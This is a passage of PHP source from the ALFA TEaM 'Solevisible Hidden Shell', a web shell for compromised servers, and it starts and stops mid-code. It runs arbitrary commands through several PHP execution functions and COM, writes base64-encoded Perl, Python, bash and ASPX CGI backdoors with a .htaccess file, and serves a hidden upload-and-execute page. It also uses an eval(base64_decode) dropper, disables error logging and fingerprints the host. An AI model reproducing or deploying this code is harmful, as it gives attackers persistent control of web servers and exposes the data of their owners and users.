$find = array();
for($i=1;$i<=10;$i++){
$alfax[] = $i;
}
foreach($args as $arg){
$find[] = $arg;
}
echo '<script>';
foreach($alfax as $alfa){
if(in_array($alfa,$find))
continue;
echo 'alfa'.$alfa."_=";
}
echo '""</script>';
}}
function _alfa_cgicmd($cmd,$lang="perl",$set_cookie=false){
if(!$GLOBALS["DB_NAME"]["cgi_api"]){
return "";
}
if(isset($_COOKIE["alfacgiapi_mode"])){
return "";
}
$cmd_pure = $cmd;
$is_curl = function_exists('curl_version');
$is_socket = function_exists('fsockopen');
if($is_curl||$is_socket){
$recreate = false;
if(isset($_COOKIE["alfacgiapi"])){
if(!@file_exists("alfacgiapi/".$_COOKIE["alfacgiapi"].".alfa")){
$recreate = true;
$lang = $_COOKIE["alfacgiapi"];
}
}
if(!isset($_COOKIE["alfacgiapi"])||$recreate){
@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
$perl = 'jZFRT8IwFIXf/RXXOqWNsKoxPlAwRliERIbK9EUMGdsFGrYyt2Iky/ztdkMlJj74cpKee853k96Dfb7OUj6ViieYRgDQ6FdOtAr8iE99FcZS7a0zhEF/4DSb136GF+ciSaXSQDorpVHpht4k2ASN75ovdByN1VgRIWfUctynvPbg3D86I28ycLzesFsrAF+B3A1HHmF5vAFqyTpYS9wYffMjo1IxkaIf0pHX7buVYaRidYau57je5NZxb7xerWDiSipoQ5ZEUlN+xL/qs5UBBAvzAHoCtg3WgbFzM3u25Au0PyDj42MOfC7objfbkdpbUpmuwxkTZWhbO6S2zXjiB0tKAlKHBb5T65QxPkdRQv6RkioveQXYbSDjEwJyBjTEmVQY0p8pY7+TJVwU5bcalwRxSAqWby8RYrAKcTKtrvM1X2CwNAmbtJIUL4nINpnGmP4VrVDs+6otXhWK4hM=';
$py = "bZDBS8MwGMXPy19R66EtzhRk7DA3L1rxItOt3gajTb6twTQJydexIf7vJqvMiR5CyHvv93jk8iLvnM1roXJzwEYrgvYwIQPRGm0xYluB9W1/UVBVLSHNCOwZGPQpUzlHvqPaDX1sWFcOxiOy0baNZgGkjwIkX6K21RZSUDthtZp9JIvi9a1YluvnonyaPyST5GW+LJPPjLCWezIU0C3grpIdpIkXE281wN7/MYPsbWOFwii+1wpB4TUeDEwQ9pg32MqVXalwYiI2ka8L84/5fjGtxyMOTHNIj3XZVTw1Fu5iMmCNkHztkAs1jE4P3aFfoh012oC6Sf/WtDzLftGUSe3CBw4suE4G/ryOWqh4eo4E8cT0a3uSOrTC/KjxND+O/QI=";
$bash = "rVRdj5pAFH2uv+I6DGa1Iaybpg9amrRboptYbV360JQGWRiFyPI5WreU/95hoCyjsfFh52nm3nM/zuTcK3XVBz9UH+zM6xDHi0AhgG6jkJKQKvQpJiOg5EBVjz4GZmiGqLPehQ71oxCcjW9tCLW+LO4Na2+n2VU/7wA7PwDhpf71m87sn3VjuviEoKsBKoEIfkKvBymhuzSs0V1QfrMQFrD8bt0by7v5xDqH5cjbxdzQ54Y10+cTYyrCXqXEdkGZwxEKTtLzjHVUIdJyiRO5hHF6poQlUEICw5OegsixA9gDBY+/qYZwPlTV1yoUsoy47ZfnB6RMkku0AGVD4RoUmzHJaVH9jcxYjMGNOLw8+zLNvmAIWTblQYEaDy9ApYHcsvnrC7JTj4RNRHk8jUFG16ObQjBXBZgVCea6I7T6pxOTnQPOvWLV4NY+v7pRSPiFQ6uw/3w3U5Gon/KzAwo3Zz47gRi27MszbnPsjAAegv9MbqIbfaH3RmR5WwZFLZ1EO3b0ROrjcfMslSPmPpmDCypz8Nnylfd8Dx8XxvRF+b0MhaS4nAbJbIdfMs9f0+qmIcADECemrpwcj0fMC8pyrz0Z29IYy7LWNnLZxtJAa9mqdiUcC+Hl3hoiYPPyYTZDoHDlZirgLaj1IOGsJmwKpMghjlLK3FukoZWwQcBEeG+iFRIHoxmElv65toDV7iQ7kj5p+IqPD3YeXfgDbEWTt29AUarU/WpdNxiPONuzqHKpv4tT8t50UId1FbBdwWsULb9aA/4C";
$aspx = "jZNda9swFIavk18hNAoOAXdsozdLyrrUKYaRlriNN0IuFPvEFbUl70jOB2P97T1SPBo8ynZlS+d53/Ph49HZF3YnCmDfhCoaehnzyTvOIiXWJSwk7BIrLF1uRGmAs7PL/ogUcVVrtGwmKjC1yCieHIyFKkxhHT7E7jHRyqIuzb8111IUShsrs/+A41vPENTvGYtSFSyrcjZmc/jZgLHhVGO15HTHV59fkUfInv6G3K3H5CZokTHj6cfZdn2z+CC+z+of1b7cVNOdWLwf88Gvfq+3PlhYrlgurCDDtipqdgtIvqirr8LAxafEJw6ojgH59441tvQ97G14lUziOFKZzok7nsIbsK3O2ZOQlHeoMzCG1aRXsGPtOfC2dUifB22sNjqcINCXmulUqlzviLbYQBeayhLcUCnsZhTCHniXucKiqUBZ46DzjHE2dDPuYg8Gkkcoy2gPWWOdo9+RLjaHXCJk1JhQucD8trF1Y98orwtHiBrfYFONTzSqay/QePDVnjYTHAfYroD+k9dHT0qhpCK/15HKgwF1+hr2yU+jzntO+6iVgTBFaSHgS6NL2Eoj6Xd5FrVcjWqESz48phvy0bk/O+3vPi3uCw==";
if($lang=="perl")$source = $perl;elseif($lang=="py")$source = $py;else $source = $bash;
if($lang == "aspx"){
alfaWriteTocgiapi("aspx.aspx",$aspx);
}else{
alfaWriteTocgiapi($lang.".alfa",$source);
}
alfacgihtaccess('cgi', "alfacgiapi/");
}else{
$lang = $_COOKIE["alfacgiapi"];
}
$cgi_ext = ".alfa";
if($lang=="aspx"){
$cgi_ext = ".aspx";
}
$cgi_url = __ALFA_DATA_FOLDER__."/alfacgiapi/".$lang.$cgi_ext;
$cmd = "check=W3NvbGV2aXNpYmxlfmFwaV0=&cmd=".__ZW5jb2Rlcg("cd ".$GLOBALS['cwd'].";".$cmd);
if($is_curl){
$address = ($_SERVER['SERVER_PORT'] == 443 ? "https://" : "http://").$_SERVER["SERVER_NAME"].dirname($_SERVER["REQUEST_URI"])."/".$cgi_url;
$post = new AlfaCURL();
$data = $post->Send($address, "post", $cmd);
}elseif($is_socket){
$server = $_SERVER["SERVER_NAME"];
$uri = dirname($_SERVER["REQUEST_URI"])."/".$cgi_url;
$data = _alfa_fsockopen($server,$uri,$cmd);
}
$out = "";
if(strpos($data, "[solevisible~api]") !== false && strpos($data, '[solevisible~api]<pre>"+output+"</pre>') === false){
if($set_cookie){
__alfa_set_cookie("alfacgiapi", $lang);
}
if(@preg_match("/<pre>(.*?)<\/pre>/s", $data, $res)){
$out = $res[1];
}
}elseif($lang=="perl"){
return _alfa_cgicmd($cmd_pure,"py",$set_cookie);
}elseif($lang=="py"){
return _alfa_cgicmd($cmd_pure,"bash",$set_cookie);
}elseif($lang=="bash" && $GLOBALS['sys']=="win"){
return _alfa_cgicmd($cmd_pure,"aspx",$set_cookie);
}else{
if($set_cookie){
__alfa_set_cookie("alfacgiapi_mode", "off");
}
}
return trim($out);
}else{
return "";
}
}
function alfaGetCwd(){
if(function_exists("getcwd")){
return @getcwd();
}else{
return dirname($_SERVER["SCRIPT_FILENAME"]);
}
}
function alfaEx($in,$re=false,$cgi=true,$all=false){
$data = _alfa_php_cmd($in,$re);
if(empty($data)&&$cgi||$all){
if($GLOBALS['sys']=='unix'){
if(strlen(_alfa_php_cmd("whoami"))==0||$all){
$cmd = _alfa_cgicmd($in);
if(!empty($cmd)){
return $cmd;
}
}
}
}
return $data;
}
function _alfa_php_cmd($in,$re=false){
$out='';
try{
if($re)$in=$in." 2>&1";
if(function_exists('exec')){
@exec($in,$out);
$out = @join("\n",$out);
}elseif(function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
}elseif(function_exists('system')){
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
}elseif(function_exists("popen")&&function_exists("pclose")){
if(is_resource($f = @popen($in,"r"))){
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
}elseif(function_exists('proc_open')){
$pipes = array();
$process = @proc_open($in.' 2>&1', array(array("pipe","w"), array("pipe","w"), array("pipe","w")), $pipes, null);
$out=@stream_get_contents($pipes[1]);
}elseif(class_exists('COM')){
$alfaWs = new COM('WScript.shell');
$exec = $alfaWs->exec('cmd.exe /c '.$_POST['alfa1']);
$stdout = $exec->StdOut();
$out=$stdout->ReadAll();
}
}catch(Exception $e){}
return $out;
}
function _alfa_fsockopen($server,$uri,$post){
$socket = @fsockopen($server, 80, $errno, $errstr, 15);
if($socket){
$http = "POST {$uri} HTTP/1.0\r\n";
$http .= "Host: {$server}\r\n";
$http .= "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . "\r\n";
$http .= "Content-Type: application/x-www-form-urlencoded\r\n";
$http .= "Content-length: " . strlen($post) . "\r\n";
$http .= "Connection: close\r\n\r\n";
$http .= $post . "\r\n\r\n";
fwrite($socket, $http);
$contents = "";
while (!@feof($socket)) {
$contents .= @fgets($socket, 4096);
}
list($header, $body) = explode("\r\n\r\n", $contents, 2);
@fclose($socket);
return $body;
}else{
return "";
}
}
if(isset($_GET["solevisible"])){
@error_reporting(E_ALL ^ E_NOTICE);
echo '<html>';
echo "<title>Solevisible Hidden Shell</title>";
echo "<body bgcolor=#000000>";
echo '<b><big><font color=#7CFC00>Kernel : </font><font color="#FFFFF">'.(function_exists('php_uname')?php_uname():'???').'</font></b></big>';
$safe_mode = @ini_get('safe_mode');
if($safe_mode){$r = "<b style='color: red'>On</b>";}else{$r = "<b style='color: green'>Off</b>";}
echo "<br><b style='color: #7CFC00'>OS: </font><font color=white>" . PHP_OS . "</font><br>";
echo "<b style='color: #7CFC00'>Software: </font><font color=white>" . $_SERVER ['SERVER_SOFTWARE'] . "</font><br>";
echo "PHP Version: <font color=white>" . PHP_VERSION . "</font><br />";
echo "PWD:<font color=#FFFFFF> " . str_replace("\\","/",@alfaGetCwd()) . "/<br />";
echo "<b style='color: #7CFC00'>Safe Mode : $r<br>";
echo"<font color=#7CFC00>Disable functions : </font>";
$disfun = @ini_get('disable_functions');
if(empty($disfun)){$disfun = '<font color="green">NONE</font>';}
echo"<font color=red>";
echo "$disfun";
echo"</font><br>";
echo "<b style='color: #7CFC00'>Your Ip Address is : </font><font color=white>" . $_SERVER['REMOTE_ADDR'] . "</font><br>";
echo "<b style='color: #7CFC00'>Server Ip Address is : </font><font color=white>".(function_exists('gethostbyname')?@gethostbyname($_SERVER["HTTP_HOST"]):'???')."</font><br><p>";
echo '<hr><center><form onSubmit="this.upload.disabled=true;this.cwd.value = btoa(unescape(encodeURIComponent(this.cwd.value)));" action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo 'CWD: <input type="text" name="cwd" value="'.str_replace("\\","/",@alfaGetCwd()).'/" size="59"><p><input type="file" name="file" size="45"><input name="upload" type="submit" id="_upl" value="Upload"></p></form></center>';
if(isset($_FILES['file'])){
if(@move_uploaded_file($_FILES['file']['tmp_name'], __ZGVjb2Rlcg(@$_POST['cwd']).'/'.$_FILES['file']['name'])){echo '<b><font color="#7CFC00"><center>Upload Successfully ;)</font></a><font color="#7CFC00"></b><br><br></center>'; }
else{echo '<center><b><font color="#7CFC00">Upload failed :(</font></a><font color="#7CFC0"></b></center><br><br>'; }
}
echo '<hr><form onSubmit="this.execute.disabled=true;this.command_solevisible.value = btoa(unescape(encodeURIComponent(this.command_solevisible.value)));" method="POST">Execute Command: <input name="command_solevisible" value="" size="59" type="text" align="left" ><input name="execute" value="Execute" type="submit"><br></form>
<hr><pre>';
if(isset($_POST['command_solevisible'])){
if(strtolower(substr(PHP_OS,0,3))=="win")$separator='&';else $separator=';';
$solevisible = "cd '".addslashes(str_replace("\\","/",@alfaGetCwd()))."'".$separator."".__ZGVjb2Rlcg($_POST['command_solevisible']);
echo alfaEx($solevisible);
}
echo'</pre>
</body></html>';
exit;}
@error_reporting(E_ALL ^ E_NOTICE);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('magic_quotes_runtime', 0);
@set_time_limit(0);
if(function_exists('set_magic_quotes_runtime')){
@set_magic_quotes_runtime(0);
}
foreach($_POST as $key => $value){
if(is_array($_POST[$key])){
$i=0;
foreach($_POST[$key] as $f) {
$f = trim(str_replace(' ', '+',$f));
$_POST[$key][$i] = decrypt_post($f);
$i++;
}
}else{
$value = trim(str_replace(' ', '+',$value));
$_POST[$key] = decrypt_post($value);
}
}
$default_action = 'FilesMan2';//'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(strtolower(substr(PHP_OS,0,3))=="win")
$GLOBALS['sys']='win';
else
$GLOBALS['sys']='unix';
$GLOBALS['home_cwd'] = @alfaGetCwd();
$GLOBALS["need_to_update_header"] = "false";
$GLOBALS['glob_chdir_false'] = false;
if(isset($_POST['c'])){
if(!@chdir($_POST['c'])){
$GLOBALS['glob_chdir_false'] = true;
}
}
$GLOBALS['cwd'] = (isset($_POST['c']) && @is_dir($_POST['c']) ?$_POST['c']:@alfaGetCwd());
if($GLOBALS['glob_chdir_false']){
$GLOBALS['cwd'] = (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : @alfaGetCwd());
}
if($GLOBALS['sys'] == 'win'){
$GLOBALS['home_cwd'] = str_replace("\\", "/", $GLOBALS['home_cwd']);
$GLOBALS['cwd'] = str_replace("\\", "/", $GLOBALS['cwd']);
}
if($GLOBALS['cwd'][strlen($GLOBALS['cwd'])-1] != '/' )$GLOBALS['cwd'] .= '/';
if(!function_exists('sys_get_temp_dir')){function sys_get_temp_dir() {foreach (array('TMP', 'TEMP', 'TMPDIR') as $env_var) {if ($temp = getenv($env_var)) {return $temp;}}$temp = tempnam($GLOBALS['__file_path'], '');if (_alfa_file_exists($temp,false)) {unlink($temp);return dirname($temp);}return null;}}
if(!function_exists("mb_strlen")){
function mb_strlen($str, $c=""){
return strlen($str);
}
}
if(!function_exists("mb_substr")){
function mb_substr($str, $start, $end, $c=""){
return substr($str, $start, $end);
}
}
define("ALFA_TEMPDIR", (function_exists("sys_get_temp_dir") ? (@is_writable(str_replace('\\','/',sys_get_temp_dir()))?sys_get_temp_dir():(@is_writable('.')?'.':false)) : false));
function alfahead(){
$GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+';
$alfa_uploader = '$x = base64_decode("'.$GLOBALS['__ALFA_SHELL_CODE'].'");$solevisible = fopen("solevisible.php","w");fwrite($solevisible,$x);';
define("ALFA_UPLOADER", "eval(base64_decode('".__ZW5jb2Rlcg($alfa_uploader)."'))");
if(!isset($_POST['ajax'])){
function Alfa_GetDisable_Function(){
$disfun = @ini_get('disable_functions');
$afa = '<span class="header_show_all">All Functions Accessible</span>';
if(empty($disfun))return($afa);
$s = explode(',',$disfun);
$s = array_unique($s);
$i=0;
$b=0;
$func = array('system','exec','shell_exec','proc_open','popen','passthru','symlink','dl');
$black_list = array();
$allow_list = array();
foreach($s as $d){
$d=trim($d);
if(empty($d)||!is_callable($d))continue;
if(!function_exists($d)){
if(in_array($d,$func)){
$dis .= $d." | ";$b++;
$black_list[] = $d;
}else{
$allow_list[] = $d;
}
$i++;
}
}
if($i==0)return($afa);
if($i <= count($func)){
$all = array_values(array_merge($black_list, $allow_list));
return('<span class="disable_functions">'.implode(" | ", $all).'</span>');
}
return('<span class="disable_functions">'.$dis.'</span><a id="menu_opt_GetDisFunc" href=javascript:void(0) onclick="alfa_can_add_opt = true;g(\'GetDisFunc\',null,\'wp\');"><span class="header_show_all">Show All ('.$i.')</span></a>');
}
function AlfaNum(){
$args = func_get_args();
$alfax = array();
$find = array();
for($i=1;$i<=10;$i++){
$alfax[] = $i;
}
foreach($args as $arg){
$find[] = $arg;
}
echo '<script>';
foreach($alfax as $alfa){
if(in_array($alfa,$find))
continue;
echo 'alfa'.$alfa."_=";
}
echo '""</script>';
}
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
$freeSpace = function_exists('diskfreespace')?@diskfreespace($GLOBALS['cwd']):'?';
$totalSpace = function_exists('disk_total_space')?@disk_total_space($GLOBALS['cwd']):'?';
$totalSpace = $totalSpace?$totalSpace:1;
$on="<span class='header_on'> ON </span>";
$of="<span class='header_off'> OFF </span>";
$none="<span class='header_none'> NONE </span>";
if(function_exists('ssh2_connect'))
$ssh2=$on;
else
$ssh2=$of;
if(function_exists('curl_version'))
$curl=$on;
else
$curl=$of;
if(function_exists('mysql_get_client_info')||class_exists('mysqli'))
$mysql=$on;
else
$mysql=$of;
if(function_exists('mssql_connect'))
$mssql=$on;
else
$mssql=$of;
if(function_exists('pg_connect'))
$pg=$on;
else
$pg=$of;
if(function_exists('oci_connect'))
$or=$on;
else
$or=$of;
if(@ini_get('disable_functions'))
$disfun=@ini_get('disable_functions');
else
$disfun="All Functions Enable";
if(@ini_get('safe_mode'))
$safe_modes="<span class='header_off'>ON</span>";
else
$safe_modes="<span class='header_on'>OFF</span>";
$cgi_shell="<span class='header_off' id='header_cgishell'>OFF</span>";
if(@ini_get('open_basedir')){
$basedir_data = @ini_get('open_basedir');
if(strlen($basedir_data)>120){
$open_b=substr($basedir_data,0, 120)."...";
}else{
$open_b = $basedir_data;
}
}else{$open_b=$none;}
if(@ini_get('safe_mode_exec_dir'))
$safe_exe=@ini_get('safe_mode_exec_dir');
else
$safe_exe=$none;
if(@ini_get('safe_mode_include_dir'))
$safe_include=@ini_get('safe_mode_include_dir');
else
$safe_include=$none;
if(!function_exists('posix_getegid'))
{
$user = function_exists("get_current_user")?@get_current_user():"????";
$uid = function_exists("getmyuid")?@getmyuid():"????";
$gid = function_exists("getmygid")?@getmygid():"????";
$group = "?";
}else{
$uid = function_exists("posix_getpwuid")&&function_exists("posix_geteuid")?@posix_getpwuid(posix_geteuid()):array("name"=>"????", "uid"=>"????");
$gid = function_exists("posix_getgrgid")&&function_exists("posix_getegid")?@posix_getgrgid(posix_getegid()):array("name"=>"????", "gid"=>"????");
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a class='header_pwd' onclick='g(\"FilesMan\",\"";
$cach_cwd_path = "";
for($j=0; $j<=$i; $j++){
$cwd_links .= $path[$j].'/';
$cach_cwd_path .= $path[$j].'/';
}
$cwd_links .= "\")' path='".$cach_cwd_path."' href='#action=fileman&path=".$cach_cwd_path."'>".$path[$i]."/</a>";
}
$drives = "";
foreach(range('a','z') as $drive)
if(@is_dir($drive.':\\'))
$drives .= '<a href="javascript:void(0);" class="header_drive" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
$csscode =' -moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;';
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />
<link href="'.__showicon('alfamini').'" rel="icon" type="image/x-icon"/>
<title>..:: '.$_SERVER['HTTP_HOST'].' ~ ALFA TEaM Shell - v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ::..</title>
<style type="text/css">';?>
.hlabale{color:#67abdf;border-radius:4px;border:1px solid #27979b;margin-left:7px;padding:2px}#tbl_sympphp tr{text-align:center}#PhpCode,.php-evals-ace,.view_ml_content{position:absolute;top:0;right:0;bottom:0;left:0;background:#1b292b26;top:50px}.editor-view{position:relative;height:100%}.view-content{position:absolute;overflow-y:auto;width:100%;height:93%}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);border-radius:10px;background-color:#000115}::-webkit-scrollbar{width:10px;background-color:#000115}::-webkit-scrollbar-thumb{border-radius:10px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#1e82b5}.editor-file-name{margin-left:29px;margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-icon{position:absolute}.is_active{background:rgba(49,55,93,.77);border-radius:10px}.history-list{height:88%;overflow-y:auto}.opt-title{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);color:#2fd051;font-size:25px;font-family:monospace}.options_min_badge{visibility:hidden;text-align:center;right:30px;color:#fff;background:#2a8a24;padding:6px;border-radius:50%;width:15px;height:15px;display:inline-block;position:absolute;top:-7px}#cgiloader-minimized,#database_window-minimized,#editor-minimized,#options_window-minimized{display:block;position:fixed;right:-30px;width:30px;height:30px;top:30%;z-index:9999}.minimized-wrapper{position:relative;background:#0e304a;width:44px;height:130px;cursor:pointer;border-bottom-left-radius:5px;border-top-left-radius:5px}.minimized-text{transform:rotate(-90deg);color:wheat;font-size:x-large;display:inline-block;position:absolute;right:-51px;width:129px;top:-10px;border-top-left-radius:4%;height:56px;padding:3px}.close-button,.editor-minimize{height:26px;width:38px;right:7px;background:#1d5673;cursor:pointer;position:absolute;box-sizing:border-box;line-height:50px;display:inline-block;top:17px;border-radius:100px}.editor-minimize{right:50px}.close-button:after,.close-button:before,.editor-minimize:before{transform:rotate(-45deg);content:"";position:absolute;top:63%;right:6px;margin-top:-5px;margin-left:-25px;display:block;height:4px;width:27px;background-color:rgba(216,207,207,.75);transition:all .25s ease-out}.editor-minimize:before{transform:rotate(0)}.close-button:after{transform:rotate(-135deg)}.close-button:hover:after,.close-button:hover:before,.editor-minimize:hover:before{background-color:red}.close-button:hover,.editor-minimize:hover{background-color:rgba(39,66,80,.96)}#cgiloader,#database_window,#editor,#options_window{display:none;position:fixed;top:0;width:100%;height:100%;z-index:20}.editor-wrapper{width:100%;height:100%;position:relative;top:1%}.editor-header{width:97%;background:rgba(21,66,88,.93);height:37px;margin-left:13px;position:relative;border-top-left-radius:15px;border-top-right-radius:15px}.editor-path{position:absolute;font-size:x-large;margin-left:10px;top:6px;color:#00ff7f}.editor-modal{position:relative;top:0;background-color:rgba(0,1,23,.95);height:90%;margin-left:20%;margin-right:2%;border:2px #0e304a solid}.editor-explorer{width:19%;height:90%;background-color:rgba(0,1,23,.94);position:absolute;z-index:2;left:1%;border:2px #0e304a solid}.editor-controller{position:relative;top:-13px}.file-holder{position:relative;width:100%;height:30px}.file-holder>.history{position:absolute;color:#03b3a3;cursor:pointer;left:5px;font-size:18px;font-family:sans-serif;width:89%;height:100%;z-index:3;border-radius:10px;transition:background-color .6s ease-out}.file-holder>.history-close{display:block;opacity:0;position:absolute;right:2px;width:20px;top:4px;text-align:center;cursor:pointer;color:#fff;background:red;border-radius:100px;font-family:monospace;z-index:10;transition:opacity .6s ease-out;font-size:15px;height:19px}.file-holder>.history:hover{background-color:#646464}.editor-explorer>.hheader{position:relative;color:#14ff07;border-bottom:2px #206aa2 solid;text-align:center;font-family:sans-serif;margin-bottom:10px;height:55px}.editor-search{position:absolute;bottom:7px;left:31px}.hheader-text{position:absolute;left:8px;top:2px}.history-clear{position:absolute;right:8px;top:2px;cursor:pointer}.editor-body{position:relative;margin-left:3px;height:100%}.editor-anim-close{-webkit-animation:editorClose .8s ease-in-out forwards;-moz-animation:editorClose .8s ease-in-out forwards;-ms-animation:editorClose .8s ease-in-out forwards;animation:editorClose .8s ease-in-out forwards}@keyframes editorClose{0%{visibility:1;opacity:1}100%{visibility:0;opacity:0}}.editor-anim-minimize{-webkit-animation:editorMinimize .8s ease-in-out forwards;-moz-animation:editorMinimize .8s ease-in-out forwards;-ms-animation:editorMinimize .8s ease-in-out forwards;animation:editorMinimize .8s ease-in-out forwards}@keyframes editorMinimize{0%{right:0;opacity:1}100%{right:-2000px;opacity:0}}.editor-anim-show{-webkit-animation:editorShow .8s ease-in-out forwards;-moz-animation:editorShow .8s ease-in-out forwards;-ms-animation:editorShow .8s ease-in-out forwards;animation:editorShow .8s ease-in-out forwards}@keyframes editorShow{0%{right:-2000px;opacity:0}100%{right:0;opacity:1}}.minimized-show{-webkit-animation:minimizeShow .8s ease-in-out forwards;-moz-animation:minimizeShow .8s ease-in-out forwards;-ms-animation:minimizeShow .8s ease-in-out forwards;animation:minimizeShow .8s ease-in-out forwards}@keyframes minimizeShow{0%{right:-30px;opacity:0}100%{right:0;opacity:1}}.minimized-hide{-webkit-animation:minimizeHide .8s ease-in-out forwards;-moz-animation:minimizeHide .8s ease-in-out forwards;-ms-animation:minimizeHide .8s ease-in-out forwards;animation:minimizeHide .8s ease-in-out forwards}@keyframes minimizeHide{0%{right:0;opacity:1}100%{right:-30px;opacity:0}}.solevisible-text:hover{-webkit-text-shadow:0 0 25px #0f0;-moz-text-shadow:0 0 25px #0f0;-ms-text-shadow:0 0 25px #0f0;text-shadow:0 0 25px #0f0}.update-holder{position:fixed;top:0;background-color:rgba(0,24,29,.72);width:100%;height:100%}.update-content{position:relative}.update-content>a{text-decoration:none;position:absolute;color:rgba(103,167,47,.77);left:24%;margin-top:7%;font-size:40px}.update-close{position:absolute;right:0;margin-right:23px;top:10px;font-size:27px;background-color:#130f50;width:5%;border-radius:100px;cursor:pointer;border:2px #0e265a solid}.update-close:hover{border:2px #25ff00 solid;color:red}.filestools{height:auto;width:auto;color:#67abdf;font-size:12px;font-family:Verdana,Geneva,sans-serif}@-moz-document url-prefix(){#search-input{width:173px}.editor-path{top:3px}}.filters-holder{padding:5px;padding-left:10px}.filters-holder input{width:200px}.filters-holder span{color:#8bc7f7}#rightclick_menu{width:175px;visibility:hidden;opacity:0;position:fixed;background:#0f304a;color:#555;font-family:sans-serif;font-size:11px;-webkit-transition:opacity .5s ease-in-out;-moz-transition:opacity .5s ease-in-out;-ms-transition:opacity .5s ease-in-out;-o-transition:opacity .5s ease-in-out;transition:opacity .5s ease-in-out;-webkit-box-shadow:-1px 0 17px 0 #8b8b8c;-moz-box-shadow:-1px 0 17px 0 #8b8b8c;box-shadow:-1px 0 17px 0 #8b8b8c;padding:0;border:1px solid #737373;border-radius:10px}#rightclick_menu a{display:block;color:#fff;font-weight:bolder;text-decoration:none;padding:6px 8px 6px 